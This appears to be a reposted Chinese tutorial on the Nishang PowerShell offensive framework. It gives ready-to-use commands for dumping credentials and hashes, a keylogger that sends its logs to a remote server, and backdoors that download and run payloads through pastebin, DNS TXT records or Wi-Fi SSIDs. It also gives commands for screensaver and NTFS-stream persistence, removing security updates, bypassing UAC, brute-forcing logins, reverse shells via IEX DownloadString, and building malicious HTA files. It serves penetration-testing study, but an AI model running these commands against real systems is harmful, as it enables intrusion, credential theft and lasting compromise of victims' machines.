|
Nishang-模块介绍与使用 转载自:Nishang-模块介绍与使用
0x01 目录介绍目录结构
0x02 信息收集脚本Check-VM从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机。它通过检测已知的一些虚拟机指纹信息,比如:Hyper-V、VMWare、Virtual PC、Vietual Box、Xen、QEMU来识别。如下图,这是一台Hyper-v的虚拟机。
Copy-VSS这个脚本利用Volume Shadow Copy(卷影拷贝)服务来复制出SAM文件。如果这个脚本运行在了DC机上,ntds.dit和STSTEM hive也能被拷贝出来。
Invoke-CredentialsPhish这个脚本用于欺骗用户输入账号密码信息。执行后会出现以下弹框。直到用户输入正确后这个框才会消失,攻击者就可以得到明文的管理员账号密码。
FireBuster FireListenerFireBuster可以对内网进行扫描,它会把包发给FireListener.
该脚本的作者在Github上还提供了一个Python版的监听端:
https://github.com/roo7break/Pow ... /master/FireBuster/
Get-Information这个脚本可以获取目标机器上大量的信息,包括:FTP访问、进程信息、计算机配置信息、无线网络和设备的信息、Host信息等非常丰富的内容。
也可以使用Out-File将运行结果保存至文件中。
Get-Information | Out-File information.txt
Get-LSASecret该脚本可以获取LSA信息,但是是在攻击者已经提权的情况下使用,通常与后面将要提到的Enable- DuplicateToken(帮助获取System权限)联合使用。
Enable-DuplicateTokenGet-LsaSecretGet-LsaSecret -RegistryKey KeyName # 还可以指定键名
Get-PassHashes此脚本在Administrator的权限下,可以dump出密码的哈希值。这个脚本来自于MSF中的powerdump,但是做出了修改,能在不用System权限的情况下就可以dump,获取hash。
Get-PassHints此脚本可以从Windows获取用户的密码提示信息,但是需要有Administrator的权限读取SAM hive。
Get-WLAN-Keys在Administrator权限下,可以利用这个脚本dump出纯文本的WLAN密钥。实质上,这个脚本就是利用了netsh wlan shou profile name="" kry=clear来获取密钥信息。
Keylogger此脚本为键盘记录脚本,可以保存下用户的键盘记录。
Nishang的键盘记录功能非常强大,首先查看这个模块的帮助文档,输入
Get-Help .\Gather\Keylogger.ps1 -full
给出了四种执行方式,具体命令如下。
.Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis # -CheckURL参数会去检查所给出的网页之中是否包含“-MagicString”后的字符串,如果存在的话就停止使用记录。.Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php # 将记录指定发送给一个可以记录Post请求的Web服务器.Keylogger.ps1 -persist # 实现持久化记录(重启后依然进行记录).Keylogger.ps1 # 直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下的key文件中先执行 ./Gather/Keylogger.ps1,发现在当前用户的Temp目录下生成了Key.log文件。
再使用Nishang Utility中的Parse_Keys来解析,parsed.txt中是解析后的键盘记录。
Parse_Keys C:\Users\qingdai\AppData\Local\Temp\key.log .parsed.txt
Invoke-MimikatzWdigestDowngrade此脚本用于dump出windows 8.1和windows server 2012系统的用户名密码。
Invoke-MimikatzWDigestDowngrade # 执行后会导致被攻击者系统锁屏
Invoke-Mimikatz此脚本用于在内存中加载Mimikatz。
Invoke-Mimikatz -DumpCerts # Dump出本机的凭证信息Invoke-Mimikatz -DumpCerts -ComputerName @("computer1","computer2") # Dump 出远程的两台计算机的凭证信息Invoke-Mimikatz -Command "privillage::debug exit" -ComputerName "computer1" # 在远程的一台机器上运行Mimikatz并执行 "privillage::debug exit"Show-TargetScreen使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者powercat进行监听。在本地使用支持MJPEG的浏览器(火狐)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
被攻击端执行:
Show-TargetScreen -IPAddres 攻击端IP地址 -Port 攻击端监听端口1 -Reverse
攻击端执行:
nc -l 监听端口1 | nc -l 监听端口2 # 这里我使用的NC,也可以用Powercat
目录结构
0x03 域相关脚本Antak Webshell一个aspx的Webshell,通过这个webshell可以编码、执行脚本、上传、下载文件。
执行方式:
上传Webshell后,把它当成一个正常的powershell执行窗口来使用;
上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可。
0x04 后门脚本HTTP-Backdoor此脚本可以接收来自第三方网站的指令,并且能够下载、执行PowerShell脚本。
./Backdoors/HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthisCheckURL:给出一个URL地址,如果存在MagicString中的值,就执行payload,下载运行脚本;PayloadURL:给出需要下载的powershell脚本的地址;Arguments:指定需要执行的函数;StopString:会去查看是否存在CheckURL返回的字符串,如果存在就会停止执行。DNS_TXT_Pwnage通常会利用DNS隧道进行信息传输、通信。Nishang中通过使用DNS_TXT_Pwnage脚本接收命令、进行通信,并在目标机器上执行。利用DNS_TXT_Pwnage脚本,需要配合Utility下的Out-DnsTxt使用。
Out-DnsTxt -DataToEncode path # path:想编码的内容的路径
再接着去添加对应的TXT记录即可,encoded.txt文件中,每一行为一条记录。
添加完后还需要添加两条TXT记录,内容为start和stop。完成之后就可以利用DNS_TXT_Pwnage脚本接收命令
DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop# startdomain:会一直去检测指定域名的TXT记录,并把返回的记录与输入的cmdstring以及psstring进行比较;# cmdstring:任意输入的字符串。如果startdomain与这里输入的cmdstring的值相等,则执行commandomain命令;# commanddomain:创建的执行命令TXT记录的域名;# psstring:任意输入的字符串,如果与这里输入的psstring值相等,则执行psdomain脚本;# Subdomains:是执行脚本创建TXT记录的个数;# StopString:是任意输入的字符串,吐过这里输入的字符串与stratdomain中返回的记录相同,将会停止执行Payload;# Arguments:指定要执行的函数名。
Execute-OnTime此脚本可以在目标机器上指定时间执行PowerShell脚本。
Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload# PayloadURL:指定脚本下载的地址;# 指定执行的函数名;# Time参数可以设定脚本执行的时间(-Time 14:34)# CheckURL:参数会检测指定的URL内容是否存在StopString给出的字符串,如果发现了就停止执行。
Gupt-Backdoor此脚本可以帮助攻击者通过无线电SSID反弹后门和执行命令,也就是说可以从WLAN SSID中接收命令和脚本,而不用去连接它。
Gupt-Backdoor -MagicString test -Verbose
MagicString开头的4个字符是用来识别建立的WI-FI SSID的。例如,以上使用方式中的test,Gupt后门会去自动匹配WI-FI中SSID以test开头的。而MagicString这个参数从第五个字符开始机决定了是执行命令还是下载脚本。
如果第五个字符是c就代表执行命令。比如:-MagicString testcwhoami,就会匹配WI-FI SSID为test内容,并执行命令“”whoami。
如果第五个字符是u的话就代表下载脚本。比如,-MagicString testuXXXX,就会匹配WI-FI SSID为test的,并默认下载XXXX。其中XXXX可以在脚本的$PayloadURL参数中修改。
也可以用Arguments参数来指定下载脚本。例如以下命令,就可以下载Get-Information脚本。
Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose
Windows系统下创建WI-FI:
cmdnetsh wlan set hostednetwork mode=allownetsh wlan set hostednetwork ssid=test key=1234567890netsh wlan start hostednetworkAdd-ScrnSaveBackdoor此脚本可以帮助我们利用Windows的屏保留隐藏后门。
Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" # 使用这条语句可以执行我们自己的PayloadAdd-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis# 利用这条命令可以从powershell执行一个HTTP-BackdoorAdd-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1 # 还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/rverse_https LHOST=192.168.254.226 -f powershell),然后利用这条命令返回一个meterpreterPayloadURL:指定需要下载的脚本地址;
Arguments:指定需要执行的函数以及相关参数;
Invoke-ADSBackdoor此脚本是使用NTFS数据流留下一个永久性后门。NTFS数据流一些安全问题的利用并不少见,可以参考《NTFS ADS带来的WEB安全问题》。
此脚本可以向ADS中注入代码并且以普通用户权限运行。
Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis参数与其他后门中相同参数含义类似。但是此脚本执行后会在当前用户的AppData目录下建立一个ADS并且会将Payload注入进去,如果希望在CMD中看到建立的ADS,需要使用“dir /a /r”。
0x04 权限提升脚本此脚本可以获取一定权限的情况下提升至System权限。
Enable-DuplicateToken
相关查阅:https://blogs.technet.microsoft. ... tokens-via-pinvoke/
Remove-Update此脚本可以移除系统中所有的更新或所有安全更新,以及指定编号的更新。
Remove-Update All # 移除目标系统上的所有更新Remove-Update Security # 移除目标系统上所有安全相关更新Remove-Update KB2761226 # 移除指定编号的更新Invoke-PsUACme此脚本使用了来自于UACME项目的DLL去Bypass UAC。下表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。
Invoke-PsUACme -Verbose # 使用Sysprep方法和默认的Payload执行Invoke-PsUACme -method oobe -Verbose # 使用oobe方法和默认的Payload执行Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" # 使用-Payload参数可以自行指定要执行的Payload
除上述所示,还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。
0x05 扫描脚本DInvoke-BruteForce这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose # 爆破域控制器Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose # 爆破SQL Servercat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose # 爆破server.txt中所有servers的SQL Server参数:ComputerName:用于指定对应服务的计算机名;UserList:用户名字典;PasswordList:密码字典;Service:服务类型(默认为SQL);StopOnSuccess:成功找到一个后就停止执行;Delay:延迟时间Invoke-PortScan此脚本可以在目标机器上对内网进行端口扫描 。
Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80参数:StartAddress:扫描范围开始的地址;EndAddress:扫描范围结束的地址;ResolveHost:解析主机名ScanPort:进行端口扫描;Port:指定扫描端口,默认扫描以下端口:21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901);TimeOut:设置超时时间;0x06 中间人脚本Invoke-Interceptor这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来,可以通过ListenPort修改目标机器上的监听端口(默认8081端口) 。
攻击端接收到了来自被攻击端的请求数据,并且这个脚本会在被攻击端的TEMP目录下生成interceptor.log的文件记录请求数据。
被攻击端:Invoke-Interceptor -ProxyServer 攻击端IP -ProxyPort 攻击端侦听端口# 默认监听8081端口,并把请求发送给攻击端的侦听端口攻击端:nc -l 攻击端侦听端口0x07 Shell交互式脚本Invoke-PowerShellTcpInvoke-PowerShellTcp是PowerS hell交互式正向连接或反向连接shell,基于TCP协议。
目标主机(反弹shell):Invoke-PowerShellTcp -Bind -Port xxxx攻击端(监听):nc -nv 目标主机IP 端口注意必须是攻击端先开启监听,否则目标主机上执行脚本会出错。
攻击端(监听):nc -ltp 端口目标主机(反弹shell):Invoke-PowerShellTcp -Reverse -IPAddress 攻击端IP -Port 端口Invoke-PowerShellUdpInvoke-PowerShellUdp PowerShell交互式正向连接或反向连接Shell,基于UDP协议。
UDP协议的正向连接与TCP协议用法相同,不过是基于UDP协议,所以NC命令需要做些改动。
目标主机(反弹shell):Invoke-PowerShellUdp -Bind -port 端口攻击端(监听):nc -nvu 目标主机IP 端口反向连接与TCP反向连接用法相同,不过在使用NC监听时需要使用UDP协议。
目标主机(反弹shell):Invoke-PowerShellUdp -Reverse -IPAdress 攻击端IP -Port 端口攻击端(监听):nc -lup 端口Invoke-PoshRatHttpsInvoke-PoshRatHttps是PowerShell交互式反向连接Shell,基于HTTPS协议。
攻击端(监听):Invoke-PoseRatHttps -IPAddress 攻击端IP -Port 监听端口# 需要在攻击端上执行脚本目标主机(反弹shell):IEX ((New-Object Net.WebClient).DownloadString('http://攻击端IP:监听端口/connect'))# 目标主机运行以上命令,反弹shellInvoke-PoshRatHttpInvoke-PoshRatHttp是PowerShell交互式反向连接Shell,基于HTTP协议。用法与Invoke-PoshRatHttps类似。
攻击端(监听):Invoke-PoseRatHttp -IPAddress 攻击端IP -Port 监听端口# 需要在攻击端上执行脚本目标主机(反弹shell):IEX ((New-Object Net.WebClient).DownloadString('http://攻击端IP:监听端口/connect'))# 目标主机运行以上命令,反弹shell0x08 RCE脚本Download_ExecuteDownload_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能是下载文本文件再将其转换为可执行文件执行。
ExetoText c:\powershellmsf.exe c:\powershellmsf.txt Converted file written to c:\powershellmsf.txt# 使用Nishang中的exetotext.ps1脚本将可执行文件改为文本文件。Download_Execute http://IP_address/msf.txt# 使用Download_Execute下载执行文本文件再观察Metasploit就可发现成功获得shell。
0x09 Client脚本Nishang中还有生成各种危害文件的脚本,它们可以生成各种感叹的文件,如HTA、Word等,去执行powershell脚本,可以静默的发动攻击,各个脚本的用法也大致相同。
Out-HTA创建受感染的HTA文件,可以执行PowerShell命令和脚本。
目标主机:Out-HTA -PayloadScript c:\nishang\shells\Invoke-PowerShellTcpOneLine.ps1 -HTAFilePath C:\hacker.HTA# 创建一个受感染的HTA文件(创建HTA木马时,payload设置的反弹地址与端口与攻击端保持一致)攻击端:nc -l 端口# NC监听端口,运行受感染的HTA文件。参考:
https://www.cnblogs.com/-qing-/p ... 1018.2226.3001.4450 https://www.cnblogs.com/-qing-/p ... le/details/80371414
|
|